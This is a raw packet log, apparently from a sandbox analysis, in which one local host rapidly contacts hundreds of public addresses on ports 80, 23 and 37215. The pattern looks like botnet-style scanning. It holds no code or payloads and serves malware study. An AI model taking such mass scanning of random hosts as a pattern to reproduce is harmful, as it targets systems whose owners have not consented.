Dec 3, 2024 23:16:43.504822969 CET	80	40596	182.251.205.165	192.168.2.23
Dec 3, 2024 23:16:43.504826069 CET	40596	80	192.168.2.23	20.226.95.25
Dec 3, 2024 23:16:43.504841089 CET	80	40596	134.245.15.31	192.168.2.23
Dec 3, 2024 23:16:43.504843950 CET	40596	80	192.168.2.23	128.98.121.173
Dec 3, 2024 23:16:43.504861116 CET	40596	80	192.168.2.23	182.251.205.165
Dec 3, 2024 23:16:43.504863024 CET	80	40596	4.148.73.18	192.168.2.23
Dec 3, 2024 23:16:43.504877090 CET	80	40596	76.249.167.2	192.168.2.23
Dec 3, 2024 23:16:43.504882097 CET	40596	80	192.168.2.23	134.245.15.31
Dec 3, 2024 23:16:43.504888058 CET	80	40596	51.51.22.8	192.168.2.23
Dec 3, 2024 23:16:43.504901886 CET	80	40596	64.129.209.41	192.168.2.23
Dec 3, 2024 23:16:43.504901886 CET	40596	80	192.168.2.23	4.148.73.18
Dec 3, 2024 23:16:43.504905939 CET	40596	80	192.168.2.23	76.249.167.2
Dec 3, 2024 23:16:43.504918098 CET	80	40596	50.139.5.243	192.168.2.23
Dec 3, 2024 23:16:43.504928112 CET	80	40596	212.75.146.191	192.168.2.23
Dec 3, 2024 23:16:43.504928112 CET	40596	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:43.504936934 CET	80	40596	81.218.86.221	192.168.2.23
Dec 3, 2024 23:16:43.504942894 CET	40596	80	192.168.2.23	64.129.209.41
Dec 3, 2024 23:16:43.504945040 CET	80	40596	152.243.171.49	192.168.2.23
Dec 3, 2024 23:16:43.504960060 CET	40596	80	192.168.2.23	50.139.5.243
Dec 3, 2024 23:16:43.504961967 CET	40596	80	192.168.2.23	212.75.146.191
Dec 3, 2024 23:16:43.504987001 CET	40596	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:43.504987001 CET	40596	80	192.168.2.23	81.218.86.221
Dec 3, 2024 23:16:43.505007029 CET	80	40596	79.244.180.207	192.168.2.23
Dec 3, 2024 23:16:43.505027056 CET	80	40596	138.109.0.205	192.168.2.23
Dec 3, 2024 23:16:43.505036116 CET	80	40596	194.241.133.101	192.168.2.23
Dec 3, 2024 23:16:43.505048037 CET	40596	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:43.505048990 CET	80	40596	65.29.189.222	192.168.2.23
Dec 3, 2024 23:16:43.505055904 CET	40596	80	192.168.2.23	138.109.0.205
Dec 3, 2024 23:16:43.505059004 CET	80	40596	161.161.6.170	192.168.2.23
Dec 3, 2024 23:16:43.505068064 CET	80	40596	20.223.0.235	192.168.2.23
Dec 3, 2024 23:16:43.505074024 CET	40596	80	192.168.2.23	194.241.133.101
Dec 3, 2024 23:16:43.505076885 CET	80	40596	82.98.126.245	192.168.2.23
Dec 3, 2024 23:16:43.505094051 CET	40596	80	192.168.2.23	161.161.6.170
Dec 3, 2024 23:16:43.505094051 CET	40596	80	192.168.2.23	65.29.189.222
Dec 3, 2024 23:16:43.505103111 CET	40596	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:43.505112886 CET	40596	80	192.168.2.23	82.98.126.245
Dec 3, 2024 23:16:43.505150080 CET	80	40596	89.106.217.241	192.168.2.23
Dec 3, 2024 23:16:43.505160093 CET	80	40596	104.224.174.176	192.168.2.23
Dec 3, 2024 23:16:43.505168915 CET	80	40596	185.88.53.109	192.168.2.23
Dec 3, 2024 23:16:43.505177021 CET	80	40596	76.169.54.168	192.168.2.23
Dec 3, 2024 23:16:43.505184889 CET	80	40596	206.13.15.63	192.168.2.23
Dec 3, 2024 23:16:43.505192995 CET	80	40596	144.38.20.0	192.168.2.23
Dec 3, 2024 23:16:43.505193949 CET	40596	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:43.505198002 CET	40596	80	192.168.2.23	104.224.174.176
Dec 3, 2024 23:16:43.505198002 CET	40596	80	192.168.2.23	185.88.53.109
Dec 3, 2024 23:16:43.505198956 CET	40596	80	192.168.2.23	76.169.54.168
Dec 3, 2024 23:16:43.505202055 CET	80	40596	101.46.179.16	192.168.2.23
Dec 3, 2024 23:16:43.505211115 CET	80	40596	196.5.126.27	192.168.2.23
Dec 3, 2024 23:16:43.505218983 CET	40596	80	192.168.2.23	206.13.15.63
Dec 3, 2024 23:16:43.505229950 CET	40596	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:43.505232096 CET	40596	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:43.505240917 CET	40596	80	192.168.2.23	196.5.126.27
Dec 3, 2024 23:16:43.505568981 CET	80	40596	88.16.203.90	192.168.2.23
Dec 3, 2024 23:16:43.505609989 CET	40596	80	192.168.2.23	88.16.203.90
Dec 3, 2024 23:16:43.505687952 CET	80	40596	120.30.121.211	192.168.2.23
Dec 3, 2024 23:16:43.505697966 CET	80	40596	72.180.203.48	192.168.2.23
Dec 3, 2024 23:16:43.505706072 CET	80	40596	106.19.131.154	192.168.2.23
Dec 3, 2024 23:16:43.505724907 CET	80	40596	58.223.72.221	192.168.2.23
Dec 3, 2024 23:16:43.505728006 CET	40596	80	192.168.2.23	72.180.203.48
Dec 3, 2024 23:16:43.505728960 CET	40596	80	192.168.2.23	120.30.121.211
Dec 3, 2024 23:16:43.505733967 CET	80	40596	188.156.0.26	192.168.2.23
Dec 3, 2024 23:16:43.505739927 CET	40596	80	192.168.2.23	106.19.131.154
Dec 3, 2024 23:16:43.505740881 CET	80	40596	86.149.195.141	192.168.2.23
Dec 3, 2024 23:16:43.505752087 CET	80	40596	198.194.160.28	192.168.2.23
Dec 3, 2024 23:16:43.505759954 CET	40596	80	192.168.2.23	58.223.72.221
Dec 3, 2024 23:16:43.505760908 CET	80	40596	108.21.86.16	192.168.2.23
Dec 3, 2024 23:16:43.505760908 CET	40596	80	192.168.2.23	188.156.0.26
Dec 3, 2024 23:16:43.505774021 CET	40596	80	192.168.2.23	86.149.195.141
Dec 3, 2024 23:16:43.505786896 CET	80	40596	161.221.196.222	192.168.2.23
Dec 3, 2024 23:16:43.505800009 CET	40596	80	192.168.2.23	108.21.86.16
Dec 3, 2024 23:16:43.505800009 CET	40596	80	192.168.2.23	198.194.160.28
Dec 3, 2024 23:16:43.505806923 CET	80	40596	209.166.64.134	192.168.2.23
Dec 3, 2024 23:16:43.505816936 CET	80	40596	131.8.138.7	192.168.2.23
Dec 3, 2024 23:16:43.505825043 CET	40596	80	192.168.2.23	161.221.196.222
Dec 3, 2024 23:16:43.505830050 CET	80	40596	205.42.223.76	192.168.2.23
Dec 3, 2024 23:16:43.505840063 CET	80	40596	119.49.209.67	192.168.2.23
Dec 3, 2024 23:16:43.505842924 CET	40596	80	192.168.2.23	209.166.64.134
Dec 3, 2024 23:16:43.505847931 CET	80	40596	209.81.157.192	192.168.2.23
Dec 3, 2024 23:16:43.505862951 CET	40596	80	192.168.2.23	131.8.138.7
Dec 3, 2024 23:16:43.505862951 CET	40596	80	192.168.2.23	119.49.209.67
Dec 3, 2024 23:16:43.505863905 CET	80	40596	36.127.250.78	192.168.2.23
Dec 3, 2024 23:16:43.505873919 CET	80	40596	52.59.102.77	192.168.2.23
Dec 3, 2024 23:16:43.505880117 CET	40596	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:43.505882025 CET	80	40596	12.128.53.10	192.168.2.23
Dec 3, 2024 23:16:43.505889893 CET	80	40596	64.56.86.147	192.168.2.23
Dec 3, 2024 23:16:43.505891085 CET	40596	80	192.168.2.23	209.81.157.192
Dec 3, 2024 23:16:43.505901098 CET	80	40596	186.78.42.49	192.168.2.23
Dec 3, 2024 23:16:43.505908966 CET	40596	80	192.168.2.23	36.127.250.78
Dec 3, 2024 23:16:43.505908966 CET	40596	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:43.505909920 CET	80	40596	179.151.244.139	192.168.2.23
Dec 3, 2024 23:16:43.505913019 CET	40596	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:43.505918980 CET	80	40596	123.80.89.111	192.168.2.23
Dec 3, 2024 23:16:43.505928040 CET	40596	80	192.168.2.23	64.56.86.147
Dec 3, 2024 23:16:43.505928040 CET	80	40596	181.132.251.28	192.168.2.23
Dec 3, 2024 23:16:43.505928040 CET	40596	80	192.168.2.23	186.78.42.49
Dec 3, 2024 23:16:43.505938053 CET	80	40596	210.203.159.81	192.168.2.23
Dec 3, 2024 23:16:43.505944967 CET	40596	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:43.505948067 CET	80	40596	14.2.153.102	192.168.2.23
Dec 3, 2024 23:16:43.505956888 CET	80	40596	204.71.210.36	192.168.2.23
Dec 3, 2024 23:16:43.505960941 CET	40596	80	192.168.2.23	123.80.89.111
Dec 3, 2024 23:16:43.505964994 CET	80	40596	176.88.220.123	192.168.2.23
Dec 3, 2024 23:16:43.505970001 CET	40596	80	192.168.2.23	210.203.159.81
Dec 3, 2024 23:16:43.505985022 CET	40596	80	192.168.2.23	181.132.251.28
Dec 3, 2024 23:16:43.505985975 CET	40596	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:43.505989075 CET	40596	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:43.505991936 CET	40596	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:43.506100893 CET	80	40596	71.139.246.174	192.168.2.23
Dec 3, 2024 23:16:43.506109953 CET	80	40596	131.246.4.63	192.168.2.23
Dec 3, 2024 23:16:43.506117105 CET	80	40596	144.183.136.97	192.168.2.23
Dec 3, 2024 23:16:43.506129980 CET	80	40596	184.86.41.56	192.168.2.23
Dec 3, 2024 23:16:43.506138086 CET	80	40596	131.92.253.181	192.168.2.23
Dec 3, 2024 23:16:43.506141901 CET	40596	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:43.506145954 CET	40596	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:43.506146908 CET	40596	80	192.168.2.23	144.183.136.97
Dec 3, 2024 23:16:43.506167889 CET	40596	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:43.506167889 CET	40596	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:43.510778904 CET	37215	40597	156.167.218.248	192.168.2.23
Dec 3, 2024 23:16:43.510822058 CET	40597	37215	192.168.2.23	156.167.218.248
Dec 3, 2024 23:16:43.880001068 CET	43928	443	192.168.2.23	91.189.91.42
Dec 3, 2024 23:16:44.355272055 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:16:44.381484985 CET	40596	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.381486893 CET	40596	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.381493092 CET	40596	80	192.168.2.23	205.8.224.113
Dec 3, 2024 23:16:44.381493092 CET	40596	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.381494999 CET	40596	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.381505013 CET	40596	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.381505013 CET	40596	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.381524086 CET	40596	80	192.168.2.23	97.51.40.235
Dec 3, 2024 23:16:44.381527901 CET	40596	80	192.168.2.23	44.211.149.217
Dec 3, 2024 23:16:44.381527901 CET	40596	80	192.168.2.23	80.188.51.51
Dec 3, 2024 23:16:44.381529093 CET	40596	80	192.168.2.23	71.91.163.191
Dec 3, 2024 23:16:44.381531954 CET	40596	80	192.168.2.23	18.139.163.251
Dec 3, 2024 23:16:44.381531954 CET	40596	80	192.168.2.23	222.233.128.11
Dec 3, 2024 23:16:44.381532907 CET	40596	80	192.168.2.23	208.200.14.37
Dec 3, 2024 23:16:44.381537914 CET	40596	80	192.168.2.23	32.45.19.229
Dec 3, 2024 23:16:44.381540060 CET	40596	80	192.168.2.23	106.94.26.104
Dec 3, 2024 23:16:44.381540060 CET	40596	80	192.168.2.23	95.50.159.174
Dec 3, 2024 23:16:44.381563902 CET	40596	80	192.168.2.23	54.144.70.177
Dec 3, 2024 23:16:44.381563902 CET	40596	80	192.168.2.23	105.149.56.62
Dec 3, 2024 23:16:44.381563902 CET	40596	80	192.168.2.23	193.224.144.231
Dec 3, 2024 23:16:44.381563902 CET	40596	80	192.168.2.23	34.22.74.80
Dec 3, 2024 23:16:44.381565094 CET	40596	80	192.168.2.23	143.205.153.136
Dec 3, 2024 23:16:44.381573915 CET	40596	80	192.168.2.23	59.13.45.51
Dec 3, 2024 23:16:44.381573915 CET	40596	80	192.168.2.23	178.75.233.22
Dec 3, 2024 23:16:44.381573915 CET	40596	80	192.168.2.23	38.1.171.9
Dec 3, 2024 23:16:44.381577015 CET	40596	80	192.168.2.23	108.46.44.167
Dec 3, 2024 23:16:44.381577015 CET	40596	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.381582022 CET	40596	80	192.168.2.23	129.38.201.236
Dec 3, 2024 23:16:44.381587029 CET	40596	80	192.168.2.23	161.242.14.38
Dec 3, 2024 23:16:44.381587029 CET	40596	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.381587982 CET	40596	80	192.168.2.23	193.122.47.40
Dec 3, 2024 23:16:44.381587982 CET	40596	80	192.168.2.23	152.63.102.106
Dec 3, 2024 23:16:44.381589890 CET	40596	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:44.381597996 CET	40596	80	192.168.2.23	44.228.173.109
Dec 3, 2024 23:16:44.381601095 CET	40596	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.381617069 CET	40596	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:44.381619930 CET	40596	80	192.168.2.23	85.163.131.12
Dec 3, 2024 23:16:44.381627083 CET	40596	80	192.168.2.23	126.35.94.75
Dec 3, 2024 23:16:44.381627083 CET	40596	80	192.168.2.23	204.218.0.140
Dec 3, 2024 23:16:44.381627083 CET	40596	80	192.168.2.23	34.90.54.132
Dec 3, 2024 23:16:44.381639957 CET	40596	80	192.168.2.23	58.228.81.46
Dec 3, 2024 23:16:44.381640911 CET	40596	80	192.168.2.23	101.68.185.16
Dec 3, 2024 23:16:44.381640911 CET	40596	80	192.168.2.23	60.15.139.86
Dec 3, 2024 23:16:44.381640911 CET	40596	80	192.168.2.23	112.188.51.121
Dec 3, 2024 23:16:44.381640911 CET	40596	80	192.168.2.23	50.245.104.160
Dec 3, 2024 23:16:44.381655931 CET	40596	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.381656885 CET	40596	80	192.168.2.23	70.138.159.44
Dec 3, 2024 23:16:44.381656885 CET	40596	80	192.168.2.23	64.82.106.98
Dec 3, 2024 23:16:44.381664038 CET	40596	80	192.168.2.23	121.164.6.176
Dec 3, 2024 23:16:44.381683111 CET	40596	80	192.168.2.23	207.135.6.37
Dec 3, 2024 23:16:44.381684065 CET	40596	80	192.168.2.23	103.244.79.177
Dec 3, 2024 23:16:44.381685019 CET	40596	80	192.168.2.23	45.39.109.222
Dec 3, 2024 23:16:44.381685019 CET	40596	80	192.168.2.23	143.138.13.8
Dec 3, 2024 23:16:44.381685972 CET	40596	80	192.168.2.23	73.196.74.209
Dec 3, 2024 23:16:44.381702900 CET	40596	80	192.168.2.23	202.203.78.114
Dec 3, 2024 23:16:44.381706953 CET	40596	80	192.168.2.23	219.170.234.215
Dec 3, 2024 23:16:44.381706953 CET	40596	80	192.168.2.23	189.203.214.3
Dec 3, 2024 23:16:44.381707907 CET	40596	80	192.168.2.23	130.155.47.138
Dec 3, 2024 23:16:44.381711960 CET	40596	80	192.168.2.23	23.135.8.215
Dec 3, 2024 23:16:44.381716013 CET	40596	80	192.168.2.23	199.15.225.119
Dec 3, 2024 23:16:44.381716013 CET	40596	80	192.168.2.23	110.113.201.74
Dec 3, 2024 23:16:44.381720066 CET	40596	80	192.168.2.23	102.234.97.48
Dec 3, 2024 23:16:44.381724119 CET	40596	80	192.168.2.23	173.23.145.10
Dec 3, 2024 23:16:44.381740093 CET	40596	80	192.168.2.23	64.16.94.165
Dec 3, 2024 23:16:44.381742001 CET	40596	80	192.168.2.23	81.164.150.116
Dec 3, 2024 23:16:44.381746054 CET	40596	80	192.168.2.23	104.171.23.145
Dec 3, 2024 23:16:44.381747007 CET	40596	80	192.168.2.23	222.71.135.85
Dec 3, 2024 23:16:44.381747007 CET	40596	80	192.168.2.23	136.179.12.56
Dec 3, 2024 23:16:44.381756067 CET	40596	80	192.168.2.23	25.18.252.35
Dec 3, 2024 23:16:44.381752968 CET	40596	80	192.168.2.23	87.129.157.10
Dec 3, 2024 23:16:44.381762981 CET	40596	80	192.168.2.23	95.138.108.54
Dec 3, 2024 23:16:44.381763935 CET	40596	80	192.168.2.23	39.118.28.227
Dec 3, 2024 23:16:44.381773949 CET	40596	80	192.168.2.23	48.150.20.158
Dec 3, 2024 23:16:44.381773949 CET	40596	80	192.168.2.23	206.168.125.242
Dec 3, 2024 23:16:44.381782055 CET	40596	80	192.168.2.23	79.12.171.213
Dec 3, 2024 23:16:44.381781101 CET	40596	80	192.168.2.23	85.27.222.194
Dec 3, 2024 23:16:44.381788015 CET	40596	80	192.168.2.23	133.247.230.242
Dec 3, 2024 23:16:44.381793022 CET	40596	80	192.168.2.23	153.112.177.229
Dec 3, 2024 23:16:44.381804943 CET	40596	80	192.168.2.23	46.181.81.201
Dec 3, 2024 23:16:44.381809950 CET	40596	80	192.168.2.23	48.197.167.130
Dec 3, 2024 23:16:44.381810904 CET	40596	80	192.168.2.23	137.80.81.34
Dec 3, 2024 23:16:44.381813049 CET	40596	80	192.168.2.23	53.122.214.18
Dec 3, 2024 23:16:44.381815910 CET	40596	80	192.168.2.23	193.67.47.190
Dec 3, 2024 23:16:44.381823063 CET	40596	80	192.168.2.23	167.180.32.9
Dec 3, 2024 23:16:44.381835938 CET	40596	80	192.168.2.23	185.206.161.158
Dec 3, 2024 23:16:44.381841898 CET	40596	80	192.168.2.23	139.129.32.84
Dec 3, 2024 23:16:44.381844044 CET	40596	80	192.168.2.23	170.152.121.169
Dec 3, 2024 23:16:44.381859064 CET	40596	80	192.168.2.23	32.107.59.208
Dec 3, 2024 23:16:44.381859064 CET	40596	80	192.168.2.23	170.20.164.114
Dec 3, 2024 23:16:44.381859064 CET	40596	80	192.168.2.23	18.113.209.141
Dec 3, 2024 23:16:44.381863117 CET	40596	80	192.168.2.23	179.19.37.239
Dec 3, 2024 23:16:44.381863117 CET	40602	23	192.168.2.23	136.94.254.113
Dec 3, 2024 23:16:44.381865025 CET	40602	23	192.168.2.23	98.207.253.240
Dec 3, 2024 23:16:44.381871939 CET	40602	23	192.168.2.23	75.33.74.207
Dec 3, 2024 23:16:44.381874084 CET	40596	80	192.168.2.23	191.78.224.101
Dec 3, 2024 23:16:44.381875992 CET	40602	23	192.168.2.23	97.148.222.101
Dec 3, 2024 23:16:44.381876945 CET	40596	80	192.168.2.23	153.183.114.91
Dec 3, 2024 23:16:44.381876945 CET	40602	23	192.168.2.23	40.82.142.61
Dec 3, 2024 23:16:44.381876945 CET	40602	23	192.168.2.23	183.72.114.212
Dec 3, 2024 23:16:44.381884098 CET	40596	80	192.168.2.23	182.47.93.173
Dec 3, 2024 23:16:44.381884098 CET	40596	80	192.168.2.23	117.33.47.215
Dec 3, 2024 23:16:44.381884098 CET	40602	23	192.168.2.23	89.76.201.145
Dec 3, 2024 23:16:44.381886005 CET	40596	80	192.168.2.23	130.223.30.217
Dec 3, 2024 23:16:44.381891012 CET	40602	23	192.168.2.23	44.92.247.66
Dec 3, 2024 23:16:44.381891012 CET	40602	23	192.168.2.23	208.216.125.81
Dec 3, 2024 23:16:44.381891012 CET	40596	80	192.168.2.23	158.227.30.116
Dec 3, 2024 23:16:44.381891012 CET	40596	80	192.168.2.23	60.217.114.10
Dec 3, 2024 23:16:44.381894112 CET	40602	23	192.168.2.23	82.199.30.183
Dec 3, 2024 23:16:44.381901026 CET	40596	80	192.168.2.23	186.65.22.164
Dec 3, 2024 23:16:44.381902933 CET	40602	23	192.168.2.23	121.245.252.253
Dec 3, 2024 23:16:44.381906986 CET	40596	80	192.168.2.23	198.139.3.16
Dec 3, 2024 23:16:44.381906986 CET	40602	23	192.168.2.23	58.220.223.79
Dec 3, 2024 23:16:44.381906986 CET	40596	80	192.168.2.23	167.123.102.25
Dec 3, 2024 23:16:44.381912947 CET	40602	23	192.168.2.23	142.138.127.205
Dec 3, 2024 23:16:44.381912947 CET	40596	80	192.168.2.23	121.246.232.52
Dec 3, 2024 23:16:44.381922007 CET	40602	23	192.168.2.23	70.244.32.21
Dec 3, 2024 23:16:44.381922007 CET	40596	80	192.168.2.23	48.160.249.205
Dec 3, 2024 23:16:44.381922007 CET	40602	23	192.168.2.23	137.61.172.7
Dec 3, 2024 23:16:44.381922007 CET	40596	80	192.168.2.23	126.236.230.66
Dec 3, 2024 23:16:44.381922960 CET	40602	23	192.168.2.23	220.63.63.194
Dec 3, 2024 23:16:44.381923914 CET	40596	80	192.168.2.23	116.60.154.252
Dec 3, 2024 23:16:44.381925106 CET	40602	23	192.168.2.23	207.103.28.62
Dec 3, 2024 23:16:44.381925106 CET	40602	23	192.168.2.23	142.53.166.168
Dec 3, 2024 23:16:44.381925106 CET	40596	80	192.168.2.23	85.71.21.78
Dec 3, 2024 23:16:44.381927967 CET	40596	80	192.168.2.23	36.6.63.237
Dec 3, 2024 23:16:44.381927967 CET	40596	80	192.168.2.23	112.119.223.1
Dec 3, 2024 23:16:44.381927967 CET	40596	80	192.168.2.23	20.104.80.58
Dec 3, 2024 23:16:44.381927967 CET	40602	23	192.168.2.23	130.9.176.19
Dec 3, 2024 23:16:44.381930113 CET	40602	23	192.168.2.23	62.137.75.45
Dec 3, 2024 23:16:44.381930113 CET	40596	80	192.168.2.23	113.3.245.59
Dec 3, 2024 23:16:44.381944895 CET	40596	80	192.168.2.23	166.193.98.121
Dec 3, 2024 23:16:44.381946087 CET	40602	23	192.168.2.23	185.92.214.81
Dec 3, 2024 23:16:44.381944895 CET	40596	80	192.168.2.23	141.35.217.91
Dec 3, 2024 23:16:44.381944895 CET	40596	80	192.168.2.23	208.208.125.1
Dec 3, 2024 23:16:44.381947994 CET	40596	80	192.168.2.23	179.75.117.94
Dec 3, 2024 23:16:44.381944895 CET	40596	80	192.168.2.23	111.153.166.166
Dec 3, 2024 23:16:44.381947994 CET	40596	80	192.168.2.23	194.173.216.244
Dec 3, 2024 23:16:44.381946087 CET	40596	80	192.168.2.23	91.153.201.181
Dec 3, 2024 23:16:44.381946087 CET	40602	23	192.168.2.23	81.20.85.78
Dec 3, 2024 23:16:44.381946087 CET	40596	80	192.168.2.23	172.160.64.11
Dec 3, 2024 23:16:44.381944895 CET	40602	23	192.168.2.23	65.179.78.54
Dec 3, 2024 23:16:44.381946087 CET	40596	80	192.168.2.23	75.115.143.222
Dec 3, 2024 23:16:44.381946087 CET	40602	23	192.168.2.23	102.51.189.190
Dec 3, 2024 23:16:44.381958008 CET	40602	23	192.168.2.23	49.194.63.68
Dec 3, 2024 23:16:44.381958008 CET	40602	23	192.168.2.23	149.252.79.218
Dec 3, 2024 23:16:44.381958008 CET	40596	80	192.168.2.23	52.139.125.181
Dec 3, 2024 23:16:44.381958961 CET	40602	23	192.168.2.23	135.224.56.14
Dec 3, 2024 23:16:44.381959915 CET	40602	23	192.168.2.23	110.188.189.4
Dec 3, 2024 23:16:44.381958008 CET	40596	80	192.168.2.23	35.200.229.208
Dec 3, 2024 23:16:44.381961107 CET	40596	80	192.168.2.23	143.1.172.168
Dec 3, 2024 23:16:44.381959915 CET	40602	23	192.168.2.23	187.240.204.255
Dec 3, 2024 23:16:44.381958008 CET	40602	23	192.168.2.23	102.79.215.187
Dec 3, 2024 23:16:44.381958008 CET	40596	80	192.168.2.23	85.176.255.250
Dec 3, 2024 23:16:44.381961107 CET	40596	80	192.168.2.23	45.200.250.255
Dec 3, 2024 23:16:44.381959915 CET	40596	80	192.168.2.23	149.127.56.75
Dec 3, 2024 23:16:44.381968021 CET	40602	23	192.168.2.23	23.152.132.235
Dec 3, 2024 23:16:44.381961107 CET	40596	80	192.168.2.23	103.159.41.251
Dec 3, 2024 23:16:44.381968021 CET	40602	23	192.168.2.23	97.225.228.104
Dec 3, 2024 23:16:44.381961107 CET	40602	23	192.168.2.23	146.163.205.66
Dec 3, 2024 23:16:44.381968021 CET	40602	23	192.168.2.23	73.254.232.34
Dec 3, 2024 23:16:44.381968021 CET	40602	23	192.168.2.23	76.29.129.231
Dec 3, 2024 23:16:44.381974936 CET	40596	80	192.168.2.23	132.48.167.123
Dec 3, 2024 23:16:44.381978989 CET	40602	23	192.168.2.23	24.217.184.185
Dec 3, 2024 23:16:44.381978989 CET	40596	80	192.168.2.23	110.63.155.106
Dec 3, 2024 23:16:44.381978989 CET	40602	23	192.168.2.23	20.111.47.193
Dec 3, 2024 23:16:44.381982088 CET	40596	80	192.168.2.23	50.60.39.66
Dec 3, 2024 23:16:44.381982088 CET	40596	80	192.168.2.23	168.48.230.164
Dec 3, 2024 23:16:44.381982088 CET	40596	80	192.168.2.23	91.201.28.238
Dec 3, 2024 23:16:44.381982088 CET	40596	80	192.168.2.23	181.193.185.200
Dec 3, 2024 23:16:44.381984949 CET	40602	23	192.168.2.23	157.233.105.77
Dec 3, 2024 23:16:44.381984949 CET	40596	80	192.168.2.23	176.183.84.102
Dec 3, 2024 23:16:44.381989956 CET	40602	23	192.168.2.23	185.37.29.10
Dec 3, 2024 23:16:44.381992102 CET	40602	23	192.168.2.23	48.190.138.25
Dec 3, 2024 23:16:44.381992102 CET	40596	80	192.168.2.23	172.84.1.248
Dec 3, 2024 23:16:44.381992102 CET	40596	80	192.168.2.23	126.63.212.58
Dec 3, 2024 23:16:44.381992102 CET	40596	80	192.168.2.23	184.76.102.199
Dec 3, 2024 23:16:44.382002115 CET	40602	23	192.168.2.23	210.180.215.211
Dec 3, 2024 23:16:44.382002115 CET	40602	23	192.168.2.23	163.219.135.154
Dec 3, 2024 23:16:44.382002115 CET	40596	80	192.168.2.23	76.23.255.129
Dec 3, 2024 23:16:44.382002115 CET	40602	23	192.168.2.23	126.212.83.62
Dec 3, 2024 23:16:44.382006884 CET	40596	80	192.168.2.23	110.185.16.233
Dec 3, 2024 23:16:44.382006884 CET	40596	80	192.168.2.23	162.228.150.120
Dec 3, 2024 23:16:44.382006884 CET	40596	80	192.168.2.23	154.205.213.251
Dec 3, 2024 23:16:44.382006884 CET	40602	23	192.168.2.23	72.109.161.83
Dec 3, 2024 23:16:44.382006884 CET	40602	23	192.168.2.23	76.74.211.199
Dec 3, 2024 23:16:44.382006884 CET	40596	80	192.168.2.23	195.44.47.41
Dec 3, 2024 23:16:44.382006884 CET	40602	23	192.168.2.23	123.138.35.249
Dec 3, 2024 23:16:44.382009029 CET	40602	23	192.168.2.23	87.219.117.216
Dec 3, 2024 23:16:44.382009029 CET	40602	23	192.168.2.23	198.180.222.46
Dec 3, 2024 23:16:44.382009029 CET	40602	23	192.168.2.23	83.74.54.34
Dec 3, 2024 23:16:44.382009029 CET	40602	23	192.168.2.23	52.15.65.213
Dec 3, 2024 23:16:44.382009029 CET	40602	23	192.168.2.23	161.186.54.57
Dec 3, 2024 23:16:44.382009029 CET	40596	80	192.168.2.23	100.56.82.130
Dec 3, 2024 23:16:44.382009983 CET	40602	23	192.168.2.23	60.106.92.148
Dec 3, 2024 23:16:44.382024050 CET	40602	23	192.168.2.23	70.14.58.152
Dec 3, 2024 23:16:44.382025003 CET	40602	23	192.168.2.23	162.155.230.173
Dec 3, 2024 23:16:44.382025003 CET	40596	80	192.168.2.23	20.109.162.126
Dec 3, 2024 23:16:44.382025003 CET	40602	23	192.168.2.23	124.84.224.207
Dec 3, 2024 23:16:44.382026911 CET	40602	23	192.168.2.23	156.121.19.248
Dec 3, 2024 23:16:44.382028103 CET	40596	80	192.168.2.23	163.241.34.233
Dec 3, 2024 23:16:44.382028103 CET	40602	23	192.168.2.23	84.15.82.54
Dec 3, 2024 23:16:44.382029057 CET	40596	80	192.168.2.23	171.133.130.191
Dec 3, 2024 23:16:44.382031918 CET	40596	80	192.168.2.23	120.167.71.255
Dec 3, 2024 23:16:44.382031918 CET	40596	80	192.168.2.23	207.72.220.247
Dec 3, 2024 23:16:44.382031918 CET	40596	80	192.168.2.23	139.57.174.203
Dec 3, 2024 23:16:44.382034063 CET	40602	23	192.168.2.23	188.171.86.200
Dec 3, 2024 23:16:44.382034063 CET	40596	80	192.168.2.23	138.174.136.212
Dec 3, 2024 23:16:44.382034063 CET	40602	23	192.168.2.23	90.186.173.178
Dec 3, 2024 23:16:44.382034063 CET	40596	80	192.168.2.23	44.230.188.127
Dec 3, 2024 23:16:44.382034063 CET	40596	80	192.168.2.23	122.189.202.16
Dec 3, 2024 23:16:44.382034063 CET	40602	23	192.168.2.23	130.13.221.131
Dec 3, 2024 23:16:44.382034063 CET	40596	80	192.168.2.23	5.220.244.59
Dec 3, 2024 23:16:44.382034063 CET	40596	80	192.168.2.23	194.68.243.218
Dec 3, 2024 23:16:44.382042885 CET	40596	80	192.168.2.23	141.89.204.144
Dec 3, 2024 23:16:44.382055998 CET	40596	80	192.168.2.23	115.72.155.108
Dec 3, 2024 23:16:44.382055044 CET	40596	80	192.168.2.23	1.133.119.5
Dec 3, 2024 23:16:44.382055998 CET	40602	23	192.168.2.23	60.195.223.16
Dec 3, 2024 23:16:44.382055044 CET	40602	23	192.168.2.23	72.212.236.35
Dec 3, 2024 23:16:44.382055998 CET	40602	23	192.168.2.23	158.236.215.81
Dec 3, 2024 23:16:44.382055998 CET	40596	80	192.168.2.23	166.192.199.62
